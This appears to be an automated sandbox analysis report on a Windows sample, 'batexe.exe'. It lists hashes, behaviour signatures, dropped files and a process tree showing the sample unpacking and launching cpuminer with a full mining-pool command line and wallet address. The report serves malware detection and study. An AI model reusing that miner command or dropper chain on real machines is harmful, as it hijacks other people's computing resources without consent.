73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
18-02-2024 11:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
8	b2e.exe
4600	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4600	cpuminer-sse2.exe
4600	cpuminer-sse2.exe
4600	cpuminer-sse2.exe
4600	cpuminer-sse2.exe
4600	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4360-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4360 wrote to memory of 8	4360	batexe.exe	74
PID 4360 wrote to memory of 8	4360	batexe.exe	74
PID 4360 wrote to memory of 8	4360	batexe.exe	74
PID 8 wrote to memory of 3868	8	b2e.exe	75
PID 8 wrote to memory of 3868	8	b2e.exe	75
PID 8 wrote to memory of 3868	8	b2e.exe	75
PID 3868 wrote to memory of 4600	3868	cmd.exe	78
PID 3868 wrote to memory of 4600	3868	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4360
- C:\Users\Admin\AppData\Local\Temp\881C.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\881C.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\881C.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8A00.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3868
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\881C.tmp\b2e.exe

Filesize
11.8MB

MD5
04ab4ea4977c3dea14415b48ef48c19b

SHA1
3e2aa2c94f4bcacf182910d29bf4e471bf08b964

SHA256
337f69e05520fdaef1a2554f571f77ff5e7447226863eff6df2f7a459af271b3

SHA512
adca404b7035e0ce43b59f877c753408679214d0c45cd2739ea1bc6efe9ad38255729ccf8c381ee2eaf2f31b250f04ace1f61fd6415e829bc3758d6d6af922a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\881C.tmp\b2e.exe

Filesize
13.0MB

MD5
4da8afa689ee3110e413c872de2b084a

SHA1
7371a1ccdcec54afe653a82877246a8544b87cba

SHA256
75362131c17dff8850eb0f4ce017e9855df800ba9dd7a86d7521c60c6a8de372

SHA512
85151646a6f8675ee010ff6ca0980c6c3aaddb76ff90015466205d2328df8d7ebd52b826ec39522853bfa0570af41e6acfd76d060d97779b619aa68f9867ca3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\8A00.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.3MB

MD5
18869468ff0e357e174ee7c64aeb0f01

SHA1
0f08f816b2cd4194d530966f8e204263ae5f16ef

SHA256
64f7961dd20a805299bbfaa0f094a2ad6f8f5b97cadb92f1f9c6c003d820b64c

SHA512
02222b69bea7e07da908959f3bc9718e2e8671f7d1e11784b54ec3031469ac1c3589d11cd21c862a8cec5b1d297d49b6777c0e191950d144d399c070fb0b23d4

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.8MB

MD5
c527b4dabe1ed964ecd58b9ece4162ac

SHA1
a2f8775d1ce01344235703418cf802306ba9293e

SHA256
953ceff9c664f1d63d1ad3d53eb6a05a9db0acf9cb69f02cac8c28329327ac31

SHA512
4e67b25078acf09591a7c407bb0c1a9334c125f3dc1f323b0fc354f0fc54b4d865e7c744511446b61cd00c913d1486276d075c10cae86aa0a906dbb4947d2d2b

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
13.0MB

MD5
802e558e3060c8fe7deed620f6e2db21

SHA1
96b821b19f8494fdf39265d33de0e2188af0c9fb

SHA256
16ea5b4cff6fad0945395f3018525d6620280c1b5ab0436c2a40f6b8f10c8f22

SHA512
87f2e678a7ce2131c4c9cff8cbd6758c492cfc451c2d98ea2e775ff3b36a5fddb3cfddc497a052dca7e50261bafff25a1048fdb76aa6d629ff9abfd27b00f29f

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/8-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/8-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4360-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4600-42-0x0000000062070000-0x0000000062108000-memory.dmp

Filesize
608KB

Download
memory/4600-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4600-44-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/4600-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4600-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4600-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download